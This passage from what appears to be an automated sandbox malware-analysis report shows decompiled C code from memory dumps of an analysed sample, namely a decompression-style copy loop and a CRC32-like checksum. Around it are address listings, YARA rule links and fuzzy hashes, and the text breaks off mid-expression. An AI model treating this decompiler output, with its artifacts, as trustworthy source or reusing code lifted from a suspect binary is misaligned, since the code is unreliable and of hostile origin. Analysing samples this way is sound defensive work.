											 *_t334 =  *(_t249 + 1) & 0x000000ff;
											_t252 = _t251 + 1;
											_t335 = _t334 + 1;
											 *_t335 =  *((intOrPtr*)(_t251 + 1));
											_t249 = _t252 + 1;
											_t331 = _t335 + 1;
											_t345 = _t345 - 1;
											 *_t331 =  *(_t252 + 1) & 0x000000ff;
										} while (_t345 != 0);
										goto L42;
									}
									 *(_t349 + 0x54) =  *(_t349 + 0x54) - _t341;
									do {
										_t198 =  *(_t249 + 1);
										_t249 = _t249 + 1;
										_t331 = _t331 + 1;
										_t341 = _t341 - 1;
										 *_t331 = _t198;
									} while (_t341 != 0);
									L38:
									_t249 = _t331 - _t297;
									goto L39;
								}
								_t346 = _t341 - _t190;
								_t249 = _t248 + _t190 - _t341 +  *((intOrPtr*)(_t349 + 0x28));
								if(_t346 >=  *(_t349 + 0x54)) {
									goto L39;
								}
								 *(_t349 + 0x54) =  *(_t349 + 0x54) - _t346;
								do {
									_t308 =  *(_t249 + 1);
									_t249 = _t249 + 1;
									_t331 = _t331 + 1;
									_t346 = _t346 - 1;
									 *_t331 = _t308;
								} while (_t346 != 0);
								_t249 =  *((intOrPtr*)(_t349 + 0x34));
								if(_t190 >=  *(_t349 + 0x54)) {
									goto L39;
								}
								 *(_t349 + 0x54) =  *(_t349 + 0x54) - _t190;
								_t347 = _t190;
								do {
									_t199 =  *(_t249 + 1);
									_t249 = _t249 + 1;
									_t331 = _t331 + 1;
									_t347 = _t347 - 1;
									 *_t331 = _t199;
								} while (_t347 != 0);
								_t249 = _t331 -  *(_t349 + 0x1c);
								goto L39;
							}
							_t249 = _t248 +  *((intOrPtr*)(_t349 + 0x28)) - _t341;
							if(_t341 >=  *(_t349 + 0x54)) {
								goto L39;
							}
							 *(_t349 + 0x54) =  *(_t349 + 0x54) - _t341;
							do {
								_t202 =  *(_t249 + 1);
								_t249 = _t249 + 1;
								_t331 = _t331 + 1;
								_t341 = _t341 - 1;
								 *_t331 = _t202;
							} while (_t341 != 0);
							goto L38;
						}
					} else {
						while((_t180 & 0x00000040) == 0) {
							_t290 =  *( *((intOrPtr*)(_t349 + 0x24)) + (((0x00000001 << _t180) - 0x00000001 & _t217) + ( *(_t349 + 0x1e) & 0x0000ffff)) * 4);
							_t180 = _t290 & 0x000000ff;
							_t217 = _t217 >> 0xad;
							_t326 = _t326 - 0xad;
							 *(_t349 + 0x1c) = 1;
							if((_t180 & 0x00000010) == 0) {
								continue;
							}
							goto L17;
						}
						goto L57;
					}
				}
			}





























































                                        0x00406ca7
                                        0x00406cab
                                        0x00406cb1
                                        0x00406cb6
                                        0x00406cbb
                                        0x00406cc2
                                        0x00406ccb
                                        0x00406cd5
                                        0x00406cdc
                                        0x00406ce3
                                        0x00406cea
                                        0x00406cf1
                                        0x00406cf8
                                        0x00406cff
                                        0x00406d03
                                        0x00406d14
                                        0x00406d18
                                        0x00406d1b
                                        0x00406d29
                                        0x00406d2a
                                        0x00406d2e
                                        0x00406d33
                                        0x00000000
                                        0x00406d37
                                        0x00406d3a
                                        0x00406d43
                                        0x00406d45
                                        0x00406d46
                                        0x00406d53
                                        0x00406d57
                                        0x00406d59
                                        0x00406d59
                                        0x00406d62
                                        0x00406d6a
                                        0x00406d6d
                                        0x00406d70
                                        0x00406d72
                                        0x00406d76
                                        0x00406db9
                                        0x00406db9
                                        0x00406dbd
                                        0x00406fef
                                        0x00406fef
                                        0x00406ff5
                                        0x00407097
                                        0x00407099
                                        0x0040709c
                                        0x004070a4
                                        0x004070af
                                        0x004070bb
                                        0x004070be
                                        0x004070c3
                                        0x004070d1
                                        0x004070d4
                                        0x004070d8
                                        0x004070db
                                        0x004070e1
                                        0x004070e8
                                        0x00407005
                                        0x00407005
                                        0x00000000
                                        0x00407005
                                        0x00406ff5
                                        0x00406d78
                                        0x00406d80
                                        0x00407070
                                        0x0040707e
                                        0x00407086
                                        0x0040708d
                                        0x00407093
                                        0x00407093
                                        0x00000000
                                        0x00407093
                                        0x00407076
                                        0x00000000
                                        0x00407076
                                        0x00406d8b
                                        0x00406da3
                                        0x00406dab
                                        0x00406dae
                                        0x00406db1
                                        0x00406db3
                                        0x00406db7
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00406db7
                                        0x00406dc7
                                        0x00406dca
                                        0x00406dce
                                        0x00406de6
                                        0x00406df2
                                        0x00406df6
                                        0x00406df8
                                        0x00406df8
                                        0x00406dfd
                                        0x00406dff
                                        0x00406e03
                                        0x00406e0a
                                        0x00406e0d
                                        0x00406e16
                                        0x00406e1a
                                        0x00406e1c
                                        0x00406e1c
                                        0x00406e29
                                        0x00406e31
                                        0x00406e34
                                        0x00406e37
                                        0x00406e39
                                        0x00406e3b
                                        0x00406e41
                                        0x00406e7c
                                        0x00406e7f
                                        0x00406e82
                                        0x00406e88
                                        0x00406e8a
                                        0x00406e8e
                                        0x00406e91
                                        0x00406e93
                                        0x00406e96
                                        0x00406e9a
                                        0x00406e9e
                                        0x00406ea0
                                        0x00406ea4
                                        0x00406ea9
                                        0x00406ead
                                        0x00406eaf
                                        0x00406eaf
                                        0x00406e9e
                                        0x00406ebd
                                        0x00406ec8
                                        0x00406ece
                                        0x00406ed2
                                        0x00406ed4
                                        0x00406eda
                                        0x00407010
                                        0x00407012
                                        0x00407016
                                        0x00407017
                                        0x0040701e
                                        0x0040701f
                                        0x00407020
                                        0x00407026
                                        0x00407027
                                        0x00407028
                                        0x0040702e
                                        0x00407031
                                        0x00407035
                                        0x0040703c
                                        0x00407041
                                        0x00407042
                                        0x00407043
                                        0x00407048
                                        0x0040704d
                                        0x0040704e
                                        0x0040704e
                                        0x00407048
                                        0x00000000
                                        0x00406ee0
                                        0x00406ee2
                                        0x00406ee8
                                        0x0040705a
                                        0x0040705e
                                        0x00407065
                                        0x00000000
                                        0x00407065
                                        0x00406ef2
                                        0x00406ef6
                                        0x00406ef7
                                        0x00406efd
                                        0x00406f25
                                        0x00406f76
                                        0x00406f7c
                                        0x00406f92
                                        0x00406f92
                                        0x00406f99
                                        0x00406fd1
                                        0x00406fd1
                                        0x00406fd7
                                        0x00406fdc
                                        0x00406fdd
                                        0x00406fde
                                        0x00406fe3
                                        0x00406fe8
                                        0x00406fe9
                                        0x00406fe9
                                        0x00406fe3
                                        0x00406feb
                                        0x00000000
                                        0x00406feb
                                        0x00406f9b
                                        0x00406fa9
                                        0x00406fb0
                                        0x00406fb4
                                        0x00406fb9
                                        0x00406fba
                                        0x00406fbb
                                        0x00406fc0
                                        0x00406fc1
                                        0x00406fc2
                                        0x00406fc8
                                        0x00406fc9
                                        0x00406fca
                                        0x00406fcd
                                        0x00406fcd
                                        0x00000000
                                        0x00406fb0
                                        0x00406f7e
                                        0x00406f82
                                        0x00406f82
                                        0x00406f85
                                        0x00406f86
                                        0x00406f87
                                        0x00406f8a
                                        0x00406f8a
                                        0x00406f8e
                                        0x00406f90
                                        0x00000000
                                        0x00406f90
                                        0x00406f2f
                                        0x00406f31
                                        0x00406f37
                                        0x00000000
                                        0x00000000
                                        0x00406f39
                                        0x00406f40
                                        0x00406f40
                                        0x00406f43
                                        0x00406f44
                                        0x00406f45
                                        0x00406f48
                                        0x00406f48
                                        0x00406f4c
                                        0x00406f54
                                        0x00000000
                                        0x00000000
                                        0x00406f56
                                        0x00406f5a
                                        0x00406f60
                                        0x00406f60
                                        0x00406f63
                                        0x00406f64
                                        0x00406f65
                                        0x00406f68
                                        0x00406f68
                                        0x00406f6e
                                        0x00000000
                                        0x00406f6e
                                        0x00406f05
                                        0x00406f0b
                                        0x00000000
                                        0x00000000
                                        0x00406f11
                                        0x00406f15
                                        0x00406f15
                                        0x00406f18
                                        0x00406f19
                                        0x00406f1a
                                        0x00406f1d
                                        0x00406f1d
                                        0x00000000
                                        0x00406f21
                                        0x00406e43
                                        0x00406e43
                                        0x00406e62
                                        0x00406e6d
                                        0x00406e70
                                        0x00406e72
                                        0x00406e74
                                        0x00406e7a
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00406e7a
                                        0x00000000
                                        0x00406e43
                                        0x00406e41

                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 020392db844ceed98276714fd2150c2ad4a639f6bad3fb02a1d0621011a6745a
                                        • Instruction ID: cc67e10771130af0a5279b37c8f7fa75a2653c997645fd1ae8a0b8309c7f2627
                                        • Opcode Fuzzy Hash: 020392db844ceed98276714fd2150c2ad4a639f6bad3fb02a1d0621011a6745a
                                        • Instruction Fuzzy Hash: 48E1D6306083514FC708CF28C99456ABBE2EFC5304F198A7EE8D68B386D779D94ACB55
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02086EF0, Relevance: .4, Instructions: 401COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 020392db844ceed98276714fd2150c2ad4a639f6bad3fb02a1d0621011a6745a
                                        • Instruction ID: a085f9e310109233629f96cbc440563329740949d36d8c983415601f1d448036
                                        • Opcode Fuzzy Hash: 020392db844ceed98276714fd2150c2ad4a639f6bad3fb02a1d0621011a6745a
                                        • Instruction Fuzzy Hash: 95E1F1346083518FC709DF28C88026AFBE2EFC5304F28896DE8D68B35AD775D94ADB51
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02087856, Relevance: .3, Instructions: 310COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: a3fc5284134f86fd186721dcf95c44c202eff21e43d8ff3da1d4bdbd65ccf5f9
                                        • Instruction ID: 8d2b90590e94020813bb5c36a8a35cc26aa8be4f36c849d016ade1c36d702043
                                        • Opcode Fuzzy Hash: a3fc5284134f86fd186721dcf95c44c202eff21e43d8ff3da1d4bdbd65ccf5f9
                                        • Instruction Fuzzy Hash: 14C19A746047469FD309DF28C88466BF7E2BF88308F248A2DE8D487794D374EA55DB92
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00402B90, Relevance: .2, Instructions: 212COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E00402B90(unsigned int __eax, signed char __ecx, unsigned int __edx) {
				signed int* _t89;
				signed char* _t90;
				signed int* _t98;
				signed int* _t100;
				signed int* _t102;
				signed int* _t103;
				signed char _t154;
				unsigned int _t164;
				signed int _t190;
				signed int _t208;
				signed int _t212;
				unsigned int _t264;
				unsigned int _t266;

				_t154 = __ecx;
				_t266 = __edx;
				_t208 =  !(((__eax & 0x0000ff00) + (__eax << 0x10) << 8) + (__eax >> 0x00000008 & 0x0000ff00) + (__eax >> 0x18));
				if(__edx != 0) {
					while((_t154 & 0x00000003) != 0) {
						_t208 = _t208 << 0x00000008 ^  *(0x41c2b0 + (_t208 >> 0x00000018 ^  *_t154 & 0x000000ff) * 4);
						_t154 = _t154 + 1;
						_t266 = _t266 - 1;
						if(_t266 != 0) {
							continue;
						}
						goto L4;
					}
				}
				L4:
				_t89 = _t154 - 4;
				if(_t266 >= 0x20) {
					_t264 = _t266 >> 5;
					do {
						_t214 = _t208 ^ _t89[1];
						_t98 =  &(_t89[2]);
						_t172 =  *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98;
						_t100 =  &(_t98[2]);
						_t223 =  *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4);
						_t102 =  &(_t100[2]);
						_t181 =  *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t223 >> 0x18) * 4) ^  *(0x41c2b0 + (_t223 & 0x000000ff) * 4) ^  *(_t102 - 8);
						_t103 =  &(_t102[1]);
						_t190 =  *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t223 >> 0x18) * 4) ^  *(0x41c2b0 + (_t223 & 0x000000ff) * 4) ^  *(_t102 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t223 >> 0x18) * 4) ^  *(0x41c2b0 + (_t223 & 0x000000ff) * 4) ^  *(_t102 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t181 >> 0x18) * 4) ^  *(0x41c2b0 + (_t181 & 0x000000ff) * 4) ^  *(_t103 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t223 >> 0x18) * 4) ^  *(0x41c2b0 + (_t223 & 0x000000ff) * 4) ^  *(_t102 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t223 >> 0x18) * 4) ^  *(0x41c2b0 + (_t223 & 0x000000ff) * 4) ^  *(_t102 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t181 >> 0x18) * 4) ^  *(0x41c2b0 + (_t181 & 0x000000ff) * 4) ^  *(_t103 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t223 >> 0x18) * 4) ^  *(0x41c2b0 + (_t223 & 0x000000ff) * 4) ^  *(_t102 - 8)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + (( *(0x41cab0 + ((_t208 ^ _t89[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x41c6b0 + ((_t208 ^ _t89[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t214 >> 0x18) * 4) ^  *(0x41c2b0 + (_t214 & 0x000000ff) * 4) ^  *_t98) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t172 >> 0x18) * 4) ^  *(0x41c2b0 + (_t172 & 0x000000ff) * 4) ^  *(_t100 - 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + (_t223 >> 0x18) * 4) ^  *(0x41c2b0 + (_t223 & 0x000000ff) * 4) ^  *(_t102 - 8)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x41ceb0 + 